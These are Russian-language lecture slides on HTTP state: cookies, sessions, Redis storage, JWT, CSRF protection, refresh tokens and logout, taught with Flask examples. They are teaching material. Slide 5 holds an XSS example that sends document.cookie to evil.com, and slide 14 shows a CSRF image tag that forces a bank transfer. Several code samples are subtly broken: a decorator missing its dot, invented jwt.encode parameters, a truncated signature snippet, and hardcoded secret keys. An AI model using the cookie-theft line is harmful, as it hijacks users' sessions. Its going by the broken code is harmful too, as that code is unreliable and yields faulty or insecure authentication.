Занятие 7: Состояние пользователя

Cookies, сессии и токены

Слайд 1: HTTP - протокол без состояния

Что значит "без состояния"?

HTTP не запоминает предыдущие запросы:

- Каждый запрос независим
- Сервер не знает, кто делает запрос
- Нет автоматической связи между запросами

Пример:

```
Request 1: GET /home
Request 2: GET /profile

Сервер не знает, что оба запроса от одного пользователя
```

Почему это проблема?

- Нельзя авторизовать пользователя
- Нельзя сохранить корзину покупок
- Нельзя персонализировать контент

Слайд 2: Решения для сохранения состояния

Основные подходы:

1. **Cookies** - хранение данных в браузере
2. **Sessions** - хранение данных на сервере
3. **Tokens** - самодостаточные токены (JWT)

Сравнение подходов:

Подход	Где хранится	Серверное хранилище	Безопасность
Cookies	Браузер	Не требуется	Средняя
Sessions	Браузер (ID)	Требуется	Высокая
Tokens	Браузер	Не требуется	Высокая

Слайд 3: Cookie - что это?

Cookie - это небольшой фрагмент данных

Структура:

```
Set-Cookie: name=value; Expires=...; Path=/; Secure; HttpOnly
```

Атрибуты Cookie:

- `name=value` - имя и значение
- `Expires` / `Max-Age` - срок действия
- `Domain` - домен для которого действует
- `Path` - путь на сервере
- `Secure` - только HTTPS
- `HttpOnly` - недоступен из JavaScript
- `SameSite` - защита от CSRF

Пример:

```
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict
```

Слайд 4: Работа с Cookies

Установка Cookie сервером:

```python
# Python (Flask)
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login')
def login():
    resp = make_response("Logged in")
    resp.set_cookie('user_id', '123', httponly=True, secure=True)
    return resp
```

Чтение Cookie сервером:

```python
@app.route('/profile')
def profile():
    user_id = request.cookies.get('user_id')
    return f"User ID: {user_id}"
```

Чтение Cookie в браузере:

```javascript
// JavaScript
document.cookie // "user_id=123"
document.cookie = "name=John"
```

Слайд 5: Проблемы Cookies

Безопасность:

- Cookies могут быть перехвачены
- XSS может украсть cookie (если не HttpOnly)
- CSRF может использовать cookie

Размер:

- Ограничение ~4KB
- Не подходят для больших данных

Пример уязвимости (XSS):

```
// Если cookie не HttpOnly
const cookie = document.cookie;
// Отправка злоумышленнику
fetch('https://evil.com?steal=' + cookie);
```

Слайд 6: Session - что это?

Session - хранение состояния на сервере

Как работает:

1. Клиент делает запрос
2. Сервер создаёт сессию в памяти/БД
3. Сервер отправляет session_id в cookie
4. Клиент отправляет session_id в каждом запросе
5. Сервер находит сессию по ID

Пример:

```
Request: POST /login {user: "john", pass: "123"}
Response: Set-Cookie: session_id=abc123

Request: GET /profile Cookie: session_id=abc123
Server: Находит сессию abc123 → user_id=123
```

Слайд 7: Реализация Session

Пример на Flask:

```python
from flask import Flask, session, redirect, url_for

app = Flask(__name__)
app.secret_key = 'secret-key-123'  # Для подписи cookie

@app.route('/login')
def login():
    session['user_id'] = 123
    session['username'] = 'john'
    return "Logged in"

@app.route('/profile')
def profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    return f"User: {session['username']}"

@app.route('/logout')
def logout():
    session.clear()
    return "Logged out"
```

Что происходит:

- Flask хранит сессию в cookie (подписанной)
- `secret_key` используется для подписи
- Клиент не может подделать данные

Слайд 8: Хранилище сессий

Где хранить сессии?

1. В памяти (Memory)

- ✅ Быстро
- ❌ Теряется при перезапуске
- ❌ Не работает на нескольких серверах

2. В файле (File)

- ✅ Простое
- ❌ Медленно при большом количестве
- ❌ Проблемы с несколькими серверами

3. В базе данных (Database)

- ✅ Надёжно
- ✅ Работает на нескольких серверах
- ❌ Дополнительная нагрузка на БД

4. В Redis

- ✅ Быстро
- ✅ Надёжно
- ✅ TTL для автоматического удаления

Слайд 9: Redis для сессий

Пример с Flask-Session:

```
from flask import Flask, session
from flask_session import Session
import redis

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')
app.secret_key = 'secret-key-123'
Session(app)

@app.route('/login')
def login():
    session['user_id'] = 123
    return "Session saved in Redis"

@app.route('/profile')
def profile():
    return f"User ID: {session.get('user_id')}"
```

Преимущества Redis:

- Быстрый доступ (in-memory)
- Автоматическое удаление (TTL)
- Поддержка кластеров
- Структуры данных (hash, string, list)

Слайд 10: Token - что это?

Token - самодостаточный идентификатор

JWT (JSON Web Token):

```
header.payload.signature
```

Структура JWT:

Header:

```
{
  "alg": "HS256",
  "typ": "JWT"
}
```

Payload:

```
{
  "user_id": 123,
  "username": "john",
  "exp": 1234567890
}
```

Signature:

```
HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
```

Слайд 11: Пример JWT

Создание JWT:

```python
import jwt
from datetime import datetime, timedelta

# Создание токена
payload = {
    'user_id': 123,
    'username': 'john',
    'exp': datetime.utcnow() + timedelta(hours=1)
}

token = jwt.encode(payload, 'secret-key', algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Проверка JWT:

```python
try:
    decoded = jwt.decode(token, 'secret-key', algorithms=['HS256'])
    print(decoded)
    # {'user_id': 123, 'username': 'john', 'exp': ...}
except jwt.ExpiredSignatureError:
    print("Token expired")
except jwt.InvalidTokenError:
    print("Invalid token")
```

Слайд 12: Session vs Token

Session:

✅ Простота реализации
✅ Мгновенная отмена (удалить из БД)
✅ Меньше данных в каждом запросе

❌ Требуется хранилище на сервере
❌ Проблемы с масштабированием
❌ Дополнительные запросы к БД

Token (JWT):

✅ Не требует хранилища
✅ Масштабируется горизонтально
✅ Содержит все данные

❌ Невозможно мгновенно отозвать
❌ Больше данных в каждом запросе
❌ Сложнее реализовать refresh token

Слайд 13: Атрибуты безопасности Cookie

HttpOnly:

```
Set-Cookie: session_id=abc123; HttpOnly
```

- Cookie недоступен из JavaScript
- Защита от XSS

Secure:

```
Set-Cookie: session_id=abc123; Secure
```

- Передаётся только по HTTPS
- Защита от перехвата

SameSite:

```
Set-Cookie: session_id=abc123; SameSite=Strict
```

- `Strict` - не отправляется при переходе с другого сайта
- `Lax` - отправляется при безопасных методах (GET)
- Защита от CSRF

Слайд 14: CSRF - Cross-Site Request Forgery

Что такое CSRF?

Злоумышленник заставляет пользователя выполнить действие на сайте, где он авторизован.

Пример:

```
<!-- На сайте evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
```

Если пользователь авторизован на bank.com, браузер отправит cookie.

Защита:

1. **SameSite cookie**
2. **CSRF token** в форме
3. **Проверка Origin/Referer**

Слайд 15: CSRF Token

Реализация CSRF token:

```
# Flask
from flask import Flask, session, render_template_string
import secrets

app = Flask(__name__)
app.secret_key = 'secret-key-123'

@app.route('/form')
def form():
    csrf_token = secrets.token_hex(16)
    session['csrf_token'] = csrf_token
    return render_template_string('''
        <form action="/submit" method="POST">
            <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
            <input type="text" name="data">
            <button>Submit</button>
        </form>
    ''', csrf_token=csrf_token)

@app route('/submit', methods=['POST'])
def submit():
    if request.form.get('csrf_token') != session.get('csrf_token'):
        return "CSRF detected", 400
    return "Valid"
```

Слайд 16: Срок действия (Expiration)

Cookie expiration:

```
# Сессия - закрывается при закрытии браузера
resp.set_cookie('session_id', 'abc123')

# Постоянная - 30 дней
resp.set_cookie('user_id', '123', max_age=30*24*60*60)

# Конкретная дата
from datetime import datetime, timedelta
expires = datetime.utcnow() + timedelta(days=30)
resp.set_cookie('user_id', '123', expires=expires)
```

JWT expiration:

```
# Короткий срок (access token) - 15 минут
access_token = jwt.encode(payload, secret, exp=15*60)

# Долгий срок (refresh token) - 7 дней
refresh_token = jwt.encode(payload, secret, exp=7*24*60*60)
```

Слайд 17: Refresh Token

Проблема:

- Access token с коротким сроком (безопасность)
- Пользователь должен часто логиниться

Решение: Refresh Token

```
1. User логинится → получает access_token (15 мин) и refresh_token (7 дней)
2. access_token истёк → клиент отправляет refresh_token
3. Сервер проверяет refresh_token → выдаёт новый access_token
4. refresh_token истёк → пользователь логинится снова
```

Пример:

```python
@app.route('/refresh', methods=['POST'])
def refresh():
    refresh_token = request.json.get('refresh_token')
    try:
        payload = jwt.decode(refresh_token, secret)
        new_access_token = jwt.encode({'user_id': payload['user_id']}, secret, exp=15*60)
        return {'access_token': new_access_token}
    except:
        return {'error': 'Invalid refresh token'}, 401
```

Слайд 18: Выход из системы (Logout)

Session:

```python
@app.route('/logout')
def logout():
    session.clear()  # Удалить из памяти/БД
    return "Logged out"
```

Cookie:

```python
@app.route('/logout')
def logout():
    resp = make_response("Logged out")
    resp.set_cookie('session_id', '', expires=0)  # Удалить cookie
    return resp
```

JWT:

```python
# Невозможно отозвать токен мгновенно

# Решение 1: Blacklist (хранить отозванные токены в Redis)
@app.route('/logout')
def logout():
    token = request.headers.get('Authorization')
    redis.set(f'blacklist:{token}', '1', ex=15*60)  # На время жизни токена
    return "Logged out"

# Решение 2: Короткий срок + refresh token
# Access token истечёт через 15 минут
```

Слайд 19: Практическое задание

Задание 1: Реализовать авторизацию с Session

- Создать endpoint /login
- Сохранять user_id в session
- Создать защищённый endpoint /profile
- Создать endpoint /logout

Задание 2: Реализовать авторизацию с JWT

- Создать endpoint /login с выдачей JWT
- Создать middleware для проверки JWT
- Создать защищённый endpoint /profile
- Реализовать refresh token

Задание 3: Защита от CSRF

- Добавить CSRF token в форму
- Проверять CSRF token при отправке
- Настроить SameSite cookie

Слайд 20: Вопрос для собеседования

Вопрос: Объясните, как сервер узнаёт вошедшего пользователя при следующем запросе.

Ожидаемый ответ:

1. При логине сервер создаёт идентификатор (session_id или token)
2. Идентификатор отправляется клиенту в cookie или header
3. Клиент отправляет идентификатор в каждом запросе
4. Сервер находит пользователя по идентификатору
5. Для session - поиск в БД/Redis, для JWT - декодирование токена